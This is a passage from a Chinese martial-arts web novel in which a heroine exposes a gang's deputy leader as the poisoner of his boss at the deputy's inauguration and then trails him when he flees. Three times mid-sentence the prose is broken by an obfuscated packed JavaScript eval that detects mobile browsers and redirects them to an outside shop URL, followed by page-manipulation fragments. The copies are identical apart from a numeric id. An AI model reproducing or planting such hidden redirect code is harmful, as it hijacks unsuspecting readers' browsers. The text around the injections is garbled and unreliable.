“谁是赔钱货?我看你才是赔钱货!你赌一回,我去赌坊赎你一回,你瞧瞧这个家,现在还剩下什么!?家里所有值钱的东西都败在了你的手里,你还敢说你妹妹是赔钱货!” “不去赌,怎么把之前赔进去的钱赢回来?”张大用自己也知道这理由实在可笑,说的时候声音明显小了。 张大哥气的发笑:“你还有脸说!?赔进去那么多钱,还不长记性。去赢钱是吧?那你赢得钱呢?怎么到最后又TMD搭进去五十两?” 说到这里,稍稍平静下来的他更加怒不可遏,跳到院子里,脱下鞋冲着儿子的头脸就是一顿抽。 “五十两、五十两、五十两……你知道五十两是多少钱吗!?” 张大用一边躲一边告饶。实在抽不动了,张大哥才停下来,稳住踉跄的脚步,喘了好几口气,才又举起鞋底,指着儿子的鼻子骂道:“五十两最少也是我们一家子两年的嚼用!你快活了不到一刻钟,就要让我、让你娘和你妹妹去喝西北风!” 张大用膝行上前,巴巴儿望着自己老爹,“儿子错了,爹,我真的知错了。我答应你,这是最后一次,我以后……以后都不会赌了,连‘赌’字提都不提。但这一次你得救儿子一命,赌坊追的急,要是不把钱拿出来儿子就没命了!我好不容易打听到,城东的刘员外要纳妾,愿意出五十两银子的聘礼,只要把妹妹嫁过去,钱就有了,赌坊就不会再来追债了。” 他抱住老爹的膝盖,哀求道:“爹,爹!你就当是为了儿子,为了我行不行!” 张大哥哪儿能听得下去,抡起鞋底又是一顿猛打,可他儿子却说:“打吧,你打吧。不是你把我打死就是赌坊的人把我弄死,你选一个。” 张大哥猛地停手,对自己的儿子失望至急,以至于再也提不起声调,哑着嗓子道:“我说了,不行!你自己造的孽自己去还,和你妹妹没有半点干系。我绝不会让你用卖她的钱去还赌债!” “怎么能是‘卖’呢?”张大用见似乎再没有转圜的余地了,便换了种说法,“刘员外家财万贯,妹妹嫁过去就是吃香的喝辣的,日子过得比咱们还要好呢。这是我做哥哥的对她的一份心……” “我呸!”张大哥往他的脸上吐了一口唾沫,刹住了他的嘴。 “刘员外都快六十了,家里少说也有七八个小妾,你妹妹嫁过去干什么,等着给他送终守寡吗?好,就算他姓刘的暂且死不了,那也不行,为人妾室的日子有多难熬,别人不清楚,我还不知道吗?你姨夫的表姨给范帮主做了五年的妾,受了多少罪?现如今范帮主归了西,她连个落脚的地方都没有,不得已投奔了自己的表外甥,叫街坊邻里好一顿笑话!就算是要和你拼命,我也不会让你妹妹去做妾!” 他女儿挣脱母亲的怀抱,一下子扑到了张大哥身上,一声声唤着“爹”。张大哥怜惜地拍打着她:“你放心,有爹在,这个混账他不敢。” 瑾瑜在院外的树上瞧着,不禁有些动容:“这位张大哥倒是个好父亲,即便是为了儿子,也不愿意把女儿送去火炕。” 紫璇牢牢盯着院中,听到瑾瑜的话便低低应了一声,然后说:“我们下去吧。” 两人腾空而起,直接从树上跳到了院中。 张大哥的老婆惊叫出声,女儿猛地躲到爹爹身后。而张大用则以飞快的速度躲进了屋中床下,他还以为是赌坊追债的来了。 “张大哥,别来无恙。”紫璇在姓张的面前站定,开口道。 张大哥就叫张大哥,平常的称呼此刻听来仿佛带着戏谑。他将女儿和刚刚跑到他身侧的老婆护在身后,战战兢兢地吐出了几个字:“你们……你们……” “你不记得我们了?”瑾瑜问他。 怎么可能忘记,张大哥和自己的同伴在那件破屋子里用那个小木片磨了整整三天,才把捆住手的绳子磨穿,逃回了家。之后时不时地在梦里还能见到他们二位的尊容,即便他们今日已不再是农家打扮,即便今日天上没有月亮,他都能清清楚楚地认出来。 紫璇见他吓得不轻,笑了:“放心,你已经为上次犯的错受了罚,我不会再找你的麻烦。” “那……那你……女侠来这儿是要干嘛?”张大哥心有余悸,可不会这么轻易地就相信她的话。 “找你打听点事情。” “什么事?”张大哥瞪大眼睛,很是警惕。 紫璇看看四周,还是觉得小心为要:“我们能进去说吗?最好不要让别的人听见。” ************************** 第二天天尚未亮,张大哥便引着紫璇、瑾瑜在坊间里巷穿行,一直走了一顿饭的功夫,才停在一户小小的院落前面。 “这就是我那连襟的屋子,范帮主死后,他表姨就一直住在这儿。” 紫璇点头,让张大哥去敲门。 开门的是一个三十来岁的汉子,开门前应该正在吃饭,手里还端着半碗米汤。 “姐夫,你怎么来了?”来人笑着招呼张大哥,同时也瞥见了他身后两个带着剑的江湖人。 张大哥一把揽过他的肩膀,就往院里走:“这两位是我的朋友,他们有点事想问。” 来人一面往前走,一面不住回头去看那两个素未谋面之人,男的还好,有点好奇地到处张望,那个女的,怎么像是在生气一样,板着个脸。 “要问谁?问我?我不认识他们。”他回过头,对张大哥说。 “知道知道,他们不是来找你的,他们要问你表姨。” “表姨?” “对,就是她。她起来了吧?” 不用来人回答,张大哥已经在正房里看到了她。她也认识张大哥,她见二人同来,还以为他是来串门的,便起身让座给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272194|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 张大哥放开自己的连襟,直接走到香姨娘边上,向她说明来意。她虽然不知就里,却没有拒绝。 张大哥的连襟把自家所有的小板凳都端了出来,他们四人便坐在檐下说话。 “这位姐姐好,敢问如何称呼?”瑾瑜先道。 香姨娘左看看右看看,克制住些许的紧张,回道:“我叫瑞香。” “瑞香姐姐好。我们来找你,是想问问有关范帮主的事情。听说你待在他身边足足有五年的光阴,想必对他很是了解。” 瑞香再一次去看张大哥,用眼睛询问他这是怎么一回事。 张大哥冲她点了两下头,让她放心:“这两位是我的好朋友,你可以和他们说实话。” “真的?”她还是有一些犹豫。 “你不会真的喜欢给范广胜做妾吧?他都死了,做什么还要维护他?”紫璇直接问道。 “你说什么呢?”自打见面后,瑞香第一次露出怒意,随之音调也拔高了不少,“谁爱给他做妾,要不是我全家人都在洪漕帮里,老娘早就跑了!” “那就好,”紫璇微微笑道,“我直说了吧,我就是五月间闯到范宅里去杀范广胜的那伙人之一。咱们都不喜欢他,所以我也不会害你,你只要把你知道的如实说出来就好,除了我们四个人,不会有第三个人知道。” “你们要干什么?” “我们想知道范广胜到底是怎么死的。” “你问这个干嘛?”瑞香突然直起腰来,眼睛下意识地躲开。 紫璇便知她肯定知道些什么,便道:“我们怀疑范广胜的死因并非像外间传说的那样,也就是说我们当时并没能杀死他。这对于我为了报仇死在范宅的姐妹来说,岂不是很不值得?” “那个女子……她是来报仇的?”瑞香脱口问道。 “对,范广胜杀了她的母亲和未出世的弟弟,她自己也差一点死在他的剑下。” 瑞香张大了嘴巴,她明明听说的是小毛贼趁着范广胜做生日来行窃,被发现后挟持了帮主,这才出了人命官司。 “我的姐妹叫阿琼,她的母亲也和你处境类似,曾经被范广胜买来做她的外室。范广胜性情暴躁,打骂于她是家常便饭。她一忍再忍,换来的却是范广胜的杀人利刃。” 同是天涯沦落人,紫璇寥寥数语,瑞香就已经可以想见发狂的范广胜是何等暴虐,直到此时,她才放下戒心,对她道: “原来如此。这位阿琼姑娘真是勇敢,自己好不容逃过一劫,为了至亲之人竟然愿意再回来,找那个渣滓报仇。” “阿琼离开这里之后,过了一段很苦的日子,支撑她的,只有报仇的信念。” 瑞香掏出手绢来捏了捏眼角,点着头道:“想必她离家时年纪很小,又是女孩子,流落街头,如何能不苦呢。” “瑞香姐姐,”紫璇身子稍稍往前,直视她的眼睛,“阿琼为报仇而死,若到头来范广胜实际是死在别人手上的,她泉下有知该有多恨多委屈。你能不能为了她告诉我们这件事情的真相。” 瑞香想了想,颇有些为难:“同为女人,既然知道了她和她母亲的不易,就没有不帮忙的道理。可是我什么都不知道,我只是每日守着他,帮他穿衣吃药而已……” “没关系,你只需把他五月生日那天遇刺之后发生的所有事情都细细讲一遍,其中必然暗藏破绽。”紫璇温言诱导着。 “好。” 112. 即位(一) 十一月初一是洪漕帮新任帮主的就任仪式,帖子早已送出,帮内也做好了十足的准备。到了这一日,洪漕帮总舵外人头攒动,一半是送礼道贺的宾客,另一半是驻足看热闹的闲人。 正堂之上已经有不少人入座,其中地位最高的是秀州(今浙江嘉兴)催纲司的副手孙有群,漕运上都会尊称他一声“孙催纲”。催纲司乃是朝廷发运司在地方上的官署,职责如名,负责催促货物装纲*,是直接管理地方漕运的衙门。是以孙德群虽是秀州的一个末流小官,却能坐在洪漕帮帮主继任大典的第一把椅子上。 而名声最显的当属隐居太湖之滨的“鹤发童颜”周鹤年及嘉兴本地的大儒程应锦。周鹤年年少时便当了道士,其后也一直避世隐居,因他在太湖东南起了一座宅院,在其中收集了各色奇珍异宝,渐渐地便在江南名声大噪。许多达官贵人、文人墨客都争相与之结交,就为了能够入园一窥他的宝贝。程应锦出自本地大姓之一的程式,虽然科举不第,但才高雅望,随其就读的学子不少。他还是泰兴韩式韩和彬的好朋友,韩式族人在官、商两道都有涉足,正是有韩和彬的推崇备至,才有了程应锦的名声赫赫。 在这三位之下,还有范式族老、前任帮主范守信的堂弟范明德和潘氏族长潘运昌。潘家本是运河边上连地都没有几亩的下等平民,只因在运河上发了家,连带着零星几个远房亲戚也沾了光,这个潘运昌就是故帮主潘让明的远房族弟。 除此之外,嘉兴本地的众多大商贾也都被请来观礼。另有洪漕帮最有威望和资历的几个舵主也在场,以作见证。 吴宏正恭恭敬敬向孙有群介绍周鹤年和程应锦,范明德及潘运昌也在一旁作陪。周鹤年的名头孙有群早有耳闻,只不过以他的品级从来无缘结识,却没想到竟然能在洪漕帮的的席面上见到这位白发苍苍但精神矍铄的老翁。孙有群喜出望外,凑在周鹤年身边仔细地问着一些关于他藏宝鉴宝的逸闻趣事,倒把程应锦晾在了一边。 “附庸风雅的草包。” 看着孙有群和周鹤年有说有笑,坐在程应锦右边的一个年轻人忍不住出言讥讽。 “慎言。”程应锦目不斜视,小声叮嘱。 “小侄是替您不平。”年轻人道。 “有何不平?天地禀赋不同,各人喜好自不必统一,孙催纲喜好古玩并无不妥。” “您老干嘛替他辩解?他可不是出于喜欢,只是想沾个懂书画古玩的名声而已。” “人家觉得是就是,你莫要揣测他人心思。” 年轻人眼睛稍稍斜了一下,不再犟嘴。 “今日之会,是你要来的,来了又抱怨。”程应锦瞥了他一眼,摇了摇头。 “小侄刚回江南,无处可去,这不您老正好收到吴副帮主的邀请嘛,不来白不来。” “你以前就爱凑热闹,怎么这么大了还是如此?” “我爱凑热闹吗?”年轻人真诚地发问,“都是小时候的事情了,不记得。” “我还记得你十岁时,连你们家几房姐妹的闺阁聚会都要掺和进去,被你的父亲好一顿打的事情。” “世伯!”年轻人急忙叫道,脸皮泛出淡红色。 程应锦微微一笑,又问他:“你在外流连了这么久,怎么不回泰安,非要跑到我这里来凑热闹?” 年轻人愈发不想说话,便以沉默应对。 程应锦叹了一口气,关于他为什么离家出走,他多少知道一些真情,见他回避,自己也就不好再言语。 另一边潘运昌也在和范明德窃窃私语。 “吴宏就这么毫无波澜地把洪漕帮收入了囊中?”范明德盯着在孙有群身边赔笑的吴宏,阴恻恻说道。 “这不得多谢谢你死去的堂哥范守信?”潘运昌呷了一口茶水,眼睛连范明德瞧都没有瞧一眼。 范明德有意与之结成联盟,因此对他的话并不着恼,而是辩解道:“这与我堂哥何干?堂哥只予他副帮主之位,不过就是个管事的。还不是他那个不成器的儿子,一味花天酒地,将洪漕帮里里外外通通让给他吴宏,甚至还让他去主持祭禹……” “说的就是这个!”潘运昌虽然装作淡然,但听到这里也忍不住打断对方,急切地说起来,“祭禹仪式乃帮主之责,他个惫赖活人都到了,却放任吴宏去上香歃血,这不是在提前告知洪漕帮上下吴宏就是他属意的继承人吗?”他将茶碗摔在几上,“说到底就是范守信养虎为患造成的恶果!但凡他当年没有私心作祟,在潘老帮主故去后处心积虑地将潘氏族人全部清除出洪漕帮,今日会是这种局面吗?” 潘运昌所说的确是实情,潘让明在时,范守信一向安分守己,从不显露出一点野心,是以虽以外姓入赘,潘让明对他却极为信任。但岳父一死,他便渐渐露出獠牙来,在十年间以各种由头将洪漕帮内有些许地位的潘氏子弟祛除殆尽,这些人便只能依靠洪漕帮每年分给潘氏一族的银两过活。 吴宏成为副帮主后,一向待下公允,对上恭敬,在公事上也勤勤恳恳,在范广胜狎妓取乐之时,都是他兢兢业业地打理着洪漕帮的各项事务,因此帮中上下对他没有一点怨言或是不满。有许多人都认为洪漕帮的帮主早该交于他,而不是范广胜这个酒囊饭袋。 这一次,范广胜将祭禹仪式交由吴宏主持,自己则在一旁监礼,不少帮众都把这看作是帮主在交托后事,毕竟大家都听说范帮主自生日被刺,伤势迁延,已有不起之相。果然,范广胜死前留下遗书,甚赞吴宏的忠心和才干,嘱咐他继承帮主,以巩固洪漕帮的基业。 这个消息一传出来,帮中上下都只有赞成,毕竟吴宏经营多年,威望已成。但原本将洪漕帮视为私产的潘氏却不痛快,范式一族也同样有些不舒服。只不过两边都没有什么名分去争夺洪漕帮,只能一面腹诽,一面曲意逢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282239|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎。 说话间,所有被洪漕帮邀来观礼的贺客已经到齐,吴宏的副手陈开祥宣布继任仪式开始,众宾客立刻停止了闲聊。 仪式并不复杂,吴宏先谢过来客,然后在水官大帝大禹像前上香、歃血、立誓,最后则是当场的舵主及帮众齐呼口号,表示从今日起效忠新帮主。 一切按部就班地进行着,直到立誓这一步,吴宏誓词念到一半,突然从正堂之外传来一个声音。 “吴宏忘恩负义、谋害范广胜以自立,做不得你们的帮主!” 堂上众人纷纷伸长了脖子,去看说话的是谁。 站在堂下的洪漕帮帮众也是如此,只不过他们离得更近,可以清楚地看到一名女子带着一个留着胡子的中年人一起从屋顶飞了下来。 吴宏立马认出来人就是和阿琼同闯范广胜生日宴并最终逃脱的人。而紫璇拽着的,则是在范宅别院客居的大夫黄柄誉! 他立刻警觉起来,冲陈开祥使了个颜色。 “来人,将杀害范帮主的元凶祸首拿下!” 堂下立刻冒出许多带着兵刃的洪漕帮众,紫璇迅速反应,和来人斗了起来。陈开祥趁着混乱,绕到紫璇背后,想要先结果了黄炳誉。 紫璇却早有防备,只见她一面护着被吓得面如土色的黄大夫,一面将所有敢靠近她身边的人一一击伤、踢出,只花费了不到一炷香的功夫就将所有在场挑衅之人打趴在了地上,连陈开祥也未能幸免,正抱着自己受伤的胳臂在地上打滚。 吴宏顿时心慌起来,怎得只过了五个月,这个女子的功夫就变得这么厉害了。他决不能让他们有开口的机会,立刻抽出佩剑,飞身而出。 他来势甚猛,紫璇不得不凝神应战。上一次吴宏只做壁上观,紫璇并没见识过他的武功,此时对阵,她才知道吴宏一直深藏不露,虽然还算不上一等一的高手,但对付起来也需要花一番功夫。 紫璇的剑较吴宏为短,吴宏便主要使出点、刺、挑的招式,紫璇则借着身法之利,去攻吴宏的地盘和头脸。霎时间,对方脸上、脚腕均被划伤,且紫璇力道强劲,伤口都不浅。如果不是她故意要留他性命,吴宏五招之后必然落败乃至身死。 他自知不敌,站出来只是为了拖延时间。就在他与紫璇勉励周旋之时,陈开祥已再度接近了颤巍巍躲在一边的黄炳誉。这次无人护佑在侧,眼看着陈开祥就要得手,哪知一直在程立锦身边安静瞧着这一幕的年轻人猛地跃起,直接从堂上飞到陈开祥身侧,居高临下地踢掉他手中匕首,将他踩在了脚下,不少人的目光都被这一下变故吸引了过去。 与此同时,紫璇身子矮下又立起,从吴宏臂下穿过,剑光一闪,已经抵在了他的脖颈之上。 *纲:官府掌管的漕船,唐代以10船为一纲,宋代以30船为一纲。此处只是借用这一职司和官名,经不起考证,也和本文的时代背景无关。 113. 即位(二) 吴宏在手,紫璇反望向另一边正在韩仲昌脚下挣扎的陈开祥,故意用所有人都能听见的声音戏谑道:“怪得很,吴副帮主要杀我就算了,这位黄大夫明明手无缚鸡之力,陈舵主做什么偏要置他于死地呢?” 黄炳誉趴倒在地,鼻子前方就是寒光闪闪的匕首,后脊梁汗湿一片。紫璇出声才将他从后怕中唤醒,试了几下终于撑着手臂坐了起来。此刻众人的目光也纷纷集中到了他的身上。 紫璇还剑入鞘,将吴宏扯到堂下,眼神扫过堂上看热闹的人,最终又落回到他身上:“吴副帮主,莫不是因为奸计即将为人戳破,你便派自己的心腹试图杀人灭口?” 吴宏还想再做最后的挣扎:“你休得搬弄是非。这里有许多人都曾目睹你闯入范帮主的私宅,你便是将他刺伤逃匿的贼人。如今范帮主伤重身死,洪漕帮上下都巴不得手刃仇人,为帮主报仇,没想到你们竟然自己送上门来!” 被紫璇打趴的洪漕帮众慢慢站起来,吴宏一说完,他们纷纷附和,指认紫璇就是五月间闯入范宅生日宴、与另一名女子一起刺杀范帮主的同伙。堂上的几位贵客见了这等情形,肯定是信吴宏为多。 “呵!”紫璇冷笑一声,对着堂上众人道:“吴宏说的没错,五月间前来刺杀范广胜的是我的朋友,但我并未没有杀害范广胜,只是想帮我的朋友逃出去而已。” 这一发言立刻引得几位贵客摇头,在他们看来,即使只是帮助杀人犯逃脱,同样也有罪过。 “但,”紫璇不理会众人的侧目,继续说道,“别说我和范广胜的死毫无关系,就连我的姐妹也不该承担杀死范广胜的责任。因为让范广胜殒命的杀招并非来自直接的刺杀,而是吴宏暗中所下的毒!” 她如此说,堂上众人全都震惊不已,纷纷去瞧堂下的吴宏。 程立锦走出来些,对着紫璇道:“姑娘慎言!你在这么多人面前指控吴副帮主毒害了范帮主,需得有确实的证据。” 他仗义执言,紫璇也有备而来。 “黄炳誉黄大夫便是证人,范广胜的尸骨便是证据。” 黄炳誉这个名字,洪漕帮之人再熟悉不过,就连范明德和潘运昌也都有所耳闻,他便是客居范宅,专门为范广胜请脉开药的大夫。 洪漕帮的几位舵主立即拨开站在前面的几人,仔细去瞧黄炳誉的脸。虽然他脸色灰败、形容瘦削,和往日里的趾高气昂完全不同,但也不会让人看走了眼。 确认了这一点,紫璇的话便有几分值得斟酌了,他们之中有几个人已经开始打量起吴宏。吴宏被紫璇拿在手上,既无法乱动也不能逃脱,眼看着谋划就要落空,脑子飞快地盘算起来。 “黄大夫?”紫璇对着远处的黄炳誉道。 黄炳誉努力将急跳的心按回腔子里,慢慢站了起来,这样离得稍远的人也都能看到他了。 “你是住在范宅中每日给范广胜请脉的黄炳誉黄大夫,我说的不错吧?”紫璇问。 黄炳誉木然地点了两下头,眼神却不断瞄向紫璇身边的吴宏。 “除了给范广胜请脉,平日里你可否还负责宅中其他的事务?” 黄炳誉咽下一口唾沫,润了润发干的喉咙,这才张口说道:“我……我,范帮主若是生了病,也是由我来诊断开药的。” “除此之外呢?” 黄炳誉面容扭捏,难为情道:“范帮主好女色,可他已年届五十,不免力不从心,所以平日里也会向我讨要一点那方面的药……” 程立锦最先露出鄙夷:“胡闹!” 他是谨守礼教之人,虽然也曾听闻过一些范广胜的荒唐事,但听人在大庭广众之下宣之于口,仍不免觉得有辱斯文。 周鹤年也向黄炳誉投去了一个白眼,只有孙催纲似乎颇有兴趣,身体不自觉地往前倾了些许。至于潘、范二人,对这些事多少了解一些,并未感到意外。 “还有呢?”紫璇又问。 “还有?还有……范帮主姬妾众多,偶尔有一两个怀孕的,我……我就得在他们的饮食中掺入堕胎之物,让……让孩子生不下来……” “你……草菅人命,医德何在!”程立锦双眼圆睁,听见如此惨烈的手段,忍不住骂道。 一直安静的范明德蓦地站起,眼中怒火急急射向吴宏。潘运昌则冷笑一声,身子后仰,翘起了二郎腿。洪漕帮帮众不敢相信,一面望向吴宏,一面交头接耳。 “哦?你为何要这么做?是谁不想看见这些孩子出世?” 黄炳誉仿佛抓住了救命稻草,立刻指着吴宏大叫:“是他!是他让我这么做的,我如果不听他的,就会被杀死!……我……我没有办法……我有老婆孩子,我得自保……都是他逼我的!” 程立锦指着他的鼻子道:“‘己所不欲勿施于人!’你这般在意自己的性命,可曾想过那十数个尚未见到这世上的婴孩?还有那些因为你毒辣的医术而身体受损的可怜女子?!” 他语气虽然平平,但其中的义愤却十分露骨。在黄炳誉听来不免心惊肉跳。 这些事早在前一天凭借瑞香提供的线索找出黄炳誉后,紫璇就已经全然掌握,她的愤怒不比程立锦弱,若不是留着他还有大用,黄炳誉是不可能活到今日的。 她控制住怒意,仍是对黄炳誉发问:“吴宏为什么要这么做?” “他不允许范帮主有孩子,因为……因为他要取而代之,范帮主就不能有别的继承人。” “是吗?”紫璇尽量以平静的声调往下,“我怎么听说,范帮主也是有几个孩子的。” “那几个孩子,虽然活着,也被吴宏下了慢性毒,活不了太久了。” “你怎么知道?” “我整日待在范宅,早就瞧出不对劲,偷偷看过他们的饮食,只是我怕吴宏杀我灭口,是以从未对任何人提起。” 这下洪漕帮众人更加心惊,他们早就听说范帮主的几个儿子身体都不好,是以很少出来见人。他们还以为是因为范广胜不注意保养,这才生不出健康的孩子呢。 “吴宏想做帮主,除了要先踢开这些可能的继承者,最终还得除掉范广胜才有可能,对不对?” “对。”黄炳誉的声音又低了下去。 “那你可知,他是怎么做的?” 黄炳誉闭了闭眼睛,再睁开时已找回了些许胆量,于是便开始详细叙述起事情的经过。 五月十三,范广胜遇刺,胸口中了匕首,但都没有正中心脉。黄炳誉医术不错,当即施针止血,又用了最好的伤药包扎,之后便开出了补血益气的方子,让范广胜服下。按理说,既然没有致命伤,如此处置之下范广胜最多趟上十天,应该就可无虞。可没成想,第二天他的病势就急转直下,危急到似乎马上就要咽气。黄炳誉守在他身边一夜,人抢了回来,但是身体却比前一天还差。 后来,范广胜就像是被吸走了精气似地,虽然活着,但迷迷糊糊,很少有清醒的时刻。黄炳誉每日都来请脉,并斟酌用药。他自己心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297056|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也嘀咕,范广胜的病情似乎和被刺的当天晚上不太一样。但他是个谨慎的人,虽然疑心,但从不露出分毫。只是会有意无意地在下人熬药时关心几句,负责煎药的下人总会用各种借口请他离开,他便留了心。最终在下人倒掉的药渣里发现了端倪。 原来,在他开的药草里被人掺入了极少量的血枯草,因为量小,所以不会马上致死。但只要持续服用,范广胜就会一天比一天虚弱,死只是早晚之事。 十月十五,因范广胜要出席祭禹仪式,吴宏早早就嘱咐黄炳誉必须让范广胜起得来床、下得了地。黄炳誉使出平生本身,总算是吊起了他最后的精气神。只不过范广胜只能坐在椅子上,看着吴宏履行帮主之责,但实际上已有油尽灯枯之相。 果然,当祭礼结束,范广胜立刻瘫软不起。吴宏招来黄炳誉,问他怎么回事,乖觉如他,便说范广胜伤势难愈,这天又受了劳累,病情恶化,恐怕命不久矣。 吴宏不疑有他,只当自己的计谋已经得逞,便唤来洪漕帮在嘉兴的所有高阶舵主,命他们守夜,然后范广胜果然在当天夜里咽了气。临终前,范广胜的夫人从他的怀里掏出一封书信,便是洪漕帮众人见到的那封遗嘱。不用说,遗书是吴宏早早准备好,胁迫范广胜的夫人拿出来的。 一番讲述下来,整件事情显然已没有太多可疑之处,无非就是把范广胜的夫人以及负责熬药的下人找来对峙。洪漕帮中已经有人吩咐下属去范宅找人了。黄炳誉是个疏忽,但熬药的下人早就被吴宏秘密处死了,只有范夫人干系甚大,他只能靠威胁先稳住,准备之后慢慢弄死她。吴宏没想到这么快就会事发,反倒留下了这个把柄。 潘运昌最先发难:“如此狼子野心,为了谋夺帮主之位竟然如此狠毒,怎么能执掌洪漕帮?” 范明德也在一旁附和:“就是,今日孙催纲在此,必不能容你这等险恶之徒!” 洪漕帮中虽然认可他的能力,却不希望自己的帮主是一个奸诈险恶之人,不免露出恨铁不成钢的神色。 程立锦也道:“一帮之主,需得德才兼备,以德为先,吴宏谋害帮主及其家眷子嗣,失了大义,绝不能再做帮主。” 周鹤年翻着白眼:“小人得志,那还得了?” 紫璇转向吴宏:“怎么样,吴副帮主,你还坚持要为自己叫屈吗?” 吴宏却冷笑一声:“我的阴谋败露,自然够不上这个帮主之位。不过在座这些人,又有谁堪当大任呢?过去十多年,要是没有我,洪漕帮能有今天?别忘了,我才是让洪漕帮兴旺发达的那个人!” 这话随即引来范明德的不满:“吴宏!你少妄自尊大,我堂哥在时,洪漕帮有你什么事儿?你当不了帮主,就从范式子孙中再选一个不就行了?” “此话不妥!”潘运昌立刻反驳,“洪漕帮出自潘氏,范式李代桃僵,难道还要把洪漕帮当做己的家产不成?要重新推举帮主,须从潘氏子弟中选出一人!” 两人互呛,各自带来的人也都相互骂了起来。周鹤年最讨厌这些贪得无厌之人,谁都没有再看一眼,立刻拂袖而去。孙立群好不容易搭上他,谁知被吴宏的破事搅了,不免迁怒与他,也以一句“帮派内部纠纷他不好插手”为理由匆匆告辞。程立锦则试图在范、潘之间劝和,却奈何一句话也插不进去。 堂上一片骚乱,紫璇也兴味津津地瞧着正在吵架的两方。吴宏瞅准时机,从她的剑下钻出,三拳两脚打倒自己后面站着的洪漕帮之人,飞身逃了出去。 114. 替身(一) 从陈开祥手上保下黄炳誉之后,韩仲昌表面不动声色,实际上一直紧盯着吴宏的动向。他刚有异动,韩仲昌立刻纵身追赶,边走还边冲着程立锦喊:“程世伯,小侄有件事要办,就此别过,以后有机会再来看您!” 一切与计划相合,紫璇微微一笑,不再关心堂上的混乱局面,也追了出去。韩仲昌在她的前方十米处,在他之前则是瑾瑜和陆文渊。 他们二人一直守在洪漕帮总舵之外,居高临下,就等吴宏或是吴宏的手下从中窜出。四人事前便已料想,一旦吴宏杀死范广胜以自代的谋划被揭破,必然会伺机逃跑,而他能逃往何处?多半会联系他真正的上封,也就是紫璇五月间在范宅中曾经与之有过一次对垒的那位“少主”。顺着吴宏这条线,说不准能探知对手的老巢所在。 韩仲昌很快追上瑾瑜,两人沉默又谨慎地跟在远处的黑点之后。陆文渊轻功一般,奔驰多时之后内力渐渐不支,已经落在了紫璇后面。 吴宏在内力上同样不占优,脚上又有伤,五十里一过他的速度明显慢了下来。他一直小心注意着身后,见无人追来,时间一长也放下了警惕。体力实在不济,就停下来取出伤药给自己裹伤。瑾瑜在其后十丈之远的树梢之上望见他的举动,同身侧韩仲昌低声几句,韩仲昌点头,瑾瑜便飞离立足的大树,向后面飘去。 “吴宏没发现我们,现在正在给自己包扎呢。” 他找到跟来的紫璇和陆文渊,告诉他们吴宏的情况。 紫璇点点头,对瑾瑜道:“你陪着陆大哥,我往前面去。” 吴宏略事休息之后便再度出发,虽然速度不快,但途中不再作任何停留,天擦黑时终于赶到了无锡。 韩仲昌四人分成两拨,一前一后跟着他进了无锡城,然后眼睁睁看着他敲开了一处店铺的后门。与他闪进门缝同时,韩仲昌腾空而起,轻轻蹿上了屋顶,紫璇也暗暗随着。 轻轻揭去一片瓦,吴宏正在和一个掌柜服色的人说话,两人低声密语,即便是紫璇听力极好,也听不真切,只是断断续续地捕捉到“洪漕帮”、“少主”还有什么“河”几个字眼。 韩仲昌冲她摇头,很明显,靠偷听很难获得什么有用的信息。万幸的是,吴宏和铺子掌柜的很快说完,掌柜的叫来伙计又嘀咕了两句。然后吴宏便从后门又闪了出去,只不过此时后门外停着一匹马,伙计将一个包袱交予他,他翻身上马,立刻向北出发。 紫璇和韩仲昌旋即跟上。 如此疾行,一直到过了高邮地界紫璇才觉出不对来。她明明伤了吴宏的两只脚腕,就算他用了上好的伤药,也绝不至于立刻便能在马上纵越自如。可是看前面那人骑马的姿态,小腿紧紧夹着马腹,脚腕随着胯|下马儿的飞驰不住地上下颤动,可那人却浑不在意,脚腕处也未见有血迹渗出。 她将发现的疑点告知韩仲昌,韩仲昌提速将马上的人捉了回来。怀疑被证实,此人根本不是吴宏!早在无锡时,人就已经被掉了包! 紫璇抽出短剑往那人头上招呼,一声惊叫过后,那人的头发被削掉一半,人也吓得面如死灰,膝盖直直地撞到了地上。 “你到底是谁?”紫璇厉声喝问。 那人瑟缩着身子,上下牙打着架说出了自己的姓名:“小的……小的何……何富。” “你是倪家庄的人?” 何富却好像第一次听说这个名目,茫然摇头:“不……不是。” “那你的上封是谁?” “小……小的一概不知,小的只是一名伙计,是我们掌柜地让我骑马一直跑……跑的。” 紫璇将剑横在他面前:“想清楚再说!普通的伙计能有这么好的骑术?” 何富汗如雨下,可对着紫璇的剑,他根本没有胆子抬手去擦,只得眨巴着因汗水滴入而不舒服的眼睛,道:“我……我真的不知道。” “吴宏知道我们一直在跟踪他?”紫璇换了个问题。 “吴宏是……是谁?小的并不知道。” 